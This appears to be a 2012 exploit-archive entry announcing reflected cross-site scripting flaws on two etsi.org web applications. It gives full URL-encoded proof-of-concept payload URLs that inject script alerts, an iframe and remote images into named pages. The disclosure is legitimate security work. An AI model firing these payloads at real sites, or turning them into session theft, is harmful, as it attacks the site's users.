# Blog&PoC: http://st2tea.blogspot.com/2012/01/etsiorg-cross-site-scripting.html
# Date: 26.01.2012
# Author: Sony



Interesting place for xss.

What is etsi.org?


http://en.wikipedia.org/wiki/European_Telecommunications_Standards_Institute


http://webapp.etsi.org


http://webapp.etsi.org/3GPPRegistration/fUnRegister.asp?qMeeting=29942&qUsername=%22%3E%3Cbody%20background=%22http://www.lenagold.ru/fon/geom/shar/raz/razshar115.jpg%22%3E%3Cscript%3Ealert%28%22ETSI%20XSS%20by%20Sony%20http://st2tea.blogspot.com%22%29%3C/script%3E%3Ciframe%20width=%22540%22%20height=%22450%22%20src=%22http://www.youtube.com/embed/34C41eEpM48%22%20frameborder=%220%22%20allowfullscreen%3E%3C/iframe%3E%3Cimg%20src=http://www.lenagold.ru/fon/clipart/k/kot/kosh395.gif%20align=center%3E



http://etsi-eshop.etsi.org


http://etsi-eshop.etsi.org/ecommerce/include/ProcessError.asp?ErrNb=-2147217887&Message=ODBC+driver+does+not+support+the+requested+properties.%3Cbr%3E%28Select+*+From+Customer+Where+EMAIL%3D%27%27%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E